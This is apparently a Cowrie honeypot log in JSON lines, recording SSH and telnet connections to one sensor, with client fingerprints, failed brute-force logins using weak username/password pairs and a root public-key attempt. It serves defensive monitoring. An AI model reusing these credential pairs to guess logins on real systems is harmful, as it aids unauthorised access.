{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:35:13.835337Z","src_ip":"47.86.95.62","session":"da6b49afd692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:35:49.809265Z","src_ip":"47.86.95.62","session":"da6b49afd692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"48.3","message":"Connection lost after 48.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:35:53.695078Z","src_ip":"47.86.95.62","session":"da6b49afd692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34282,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5d56ce33931","protocol":"ssh","message":"New connection: 47.86.95.62:34282 (10.17.0.5:22) [session: b5d56ce33931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:36:02.024629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:36:02.030594Z","src_ip":"47.86.95.62","session":"b5d56ce33931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43068,"dst_ip":"10.17.0.5","dst_port":22,"session":"97303454bc42","protocol":"ssh","message":"New connection: 47.86.95.62:43068 (10.17.0.5:22) [session: 97303454bc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:36:35.639406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:36:36.342195Z","src_ip":"47.86.95.62","session":"97303454bc42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:36:40.877635Z","src_ip":"47.86.95.62","session":"97303454bc42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:37:06.096299Z","src_ip":"47.86.95.62","session":"b5d56ce33931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:37:39.858697Z","src_ip":"47.86.95.62","session":"97303454bc42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"74.0","message":"Connection lost after 74.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:37:49.597156Z","src_ip":"47.86.95.62","session":"97303454bc42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:37:59.857271Z","src_ip":"47.86.95.62","session":"b5d56ce33931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:38:02.031011Z","src_ip":"47.86.95.62","session":"b5d56ce33931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43718,"dst_ip":"10.17.0.5","dst_port":22,"session":"e546565ee907","protocol":"ssh","message":"New connection: 47.86.95.62:43718 (10.17.0.5:22) [session: e546565ee907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:38:48.266690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:38:50.519346Z","src_ip":"47.86.95.62","session":"e546565ee907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:38:51.379012Z","src_ip":"47.86.95.62","session":"e546565ee907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:10.871783Z","src_ip":"47.86.95.62","session":"e546565ee907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.7","message":"Connection lost after 24.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:12.985620Z","src_ip":"47.86.95.62","session":"e546565ee907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42518,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d85db22881d","protocol":"ssh","message":"New connection: 47.86.95.62:42518 (10.17.0.5:22) [session: 9d85db22881d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:40.030468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:40.035540Z","src_ip":"47.86.95.62","session":"9d85db22881d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":59655,"dst_ip":"10.17.0.5","dst_port":22,"session":"34cf961f747e","protocol":"ssh","message":"New connection: 213.209.159.56:59655 (10.17.0.5:22) [session: 34cf961f747e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:51.526675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:51.529901Z","src_ip":"213.209.159.56","session":"34cf961f747e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:51.611174Z","src_ip":"213.209.159.56","session":"34cf961f747e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain","message":"login attempt [kain/kain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:52.011572Z","src_ip":"213.209.159.56","session":"34cf961f747e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain1","message":"login attempt [kain/kain1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:53.097352Z","src_ip":"213.209.159.56","session":"34cf961f747e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain123","message":"login attempt [kain/kain123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:54.182441Z","src_ip":"213.209.159.56","session":"34cf961f747e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain1234","message":"login attempt [kain/kain1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:55.268078Z","src_ip":"213.209.159.56","session":"34cf961f747e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain12345","message":"login attempt [kain/kain12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:56.356240Z","src_ip":"213.209.159.56","session":"34cf961f747e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:39:57.440519Z","src_ip":"213.209.159.56","session":"34cf961f747e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:40:15.414282Z","src_ip":"47.86.95.62","session":"9d85db22881d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51692,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a35271495bb","protocol":"ssh","message":"New connection: 47.86.95.62:51692 (10.17.0.5:22) [session: 4a35271495bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:40:21.280955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:40:41.646156Z","src_ip":"47.86.95.62","session":"4a35271495bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:40:41.650112Z","src_ip":"47.86.95.62","session":"4a35271495bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:41:19.870606Z","src_ip":"47.86.95.62","session":"9d85db22881d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:41:40.049900Z","src_ip":"47.86.95.62","session":"9d85db22881d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.211.94.76","src_port":48072,"dst_ip":"10.17.0.5","dst_port":23,"session":"842297e2c5af","protocol":"telnet","message":"New connection: 185.211.94.76:48072 (10.17.0.5:23) [session: 842297e2c5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:01.317722Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.240.126","src_port":62642,"dst_ip":"10.17.0.5","dst_port":22,"session":"354c7bb6ba04","protocol":"ssh","message":"New connection: 212.192.240.126:62642 (10.17.0.5:22) [session: 354c7bb6ba04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.170780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.174987Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.258812Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:11:52:be:a4:3c:dc:8b:fe:76:02:95:7f:15:e2:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr7p77h0FH35ZumumSwQLTfOutBepiDdKIChGAeqLlECICiSz79QXTxR+Jj+QPzSlfMuYyCi+j+W6e7klgluY0CvDWAS7tbkaxGXGDulF4yPx9P27idjWKxCAPRQ9VqJ2BT8LMo9NK4fq/6TuwQ2dUCoHT77f4Jibm6C5drmSpgWPl+qRf7cDcg59rGtzpPUI2Llmh3HAG9/as8UadDhPohxyoT238s4S5/WqWmrVM3l3j+4dyfZFgECOT18M9mlsSdHFFKtMI6pvUYbeogzFY85h5+9A8OFnjPx7xnLQfT3kHeiqk8HLNbaT/KtKpmIVhclo3X9VF/WbS4nfvFgxAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:11:52:be:a4:3c:dc:8b:fe:76:02:95:7f:15:e2:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:42:11.648372Z","src_ip":"212.192.240.126","session":"354c7bb6ba04","protocol":"ssh"}
